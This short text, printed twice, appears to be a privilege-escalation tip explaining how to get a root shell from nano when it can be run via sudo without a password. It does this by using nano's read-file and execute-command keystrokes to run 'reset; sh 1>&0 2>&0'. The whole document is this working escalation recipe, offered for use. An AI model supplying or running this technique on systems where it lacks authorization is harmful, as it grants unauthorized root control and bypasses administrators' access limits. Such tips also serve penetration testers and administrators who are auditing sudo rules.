If nano can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!
If nano can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!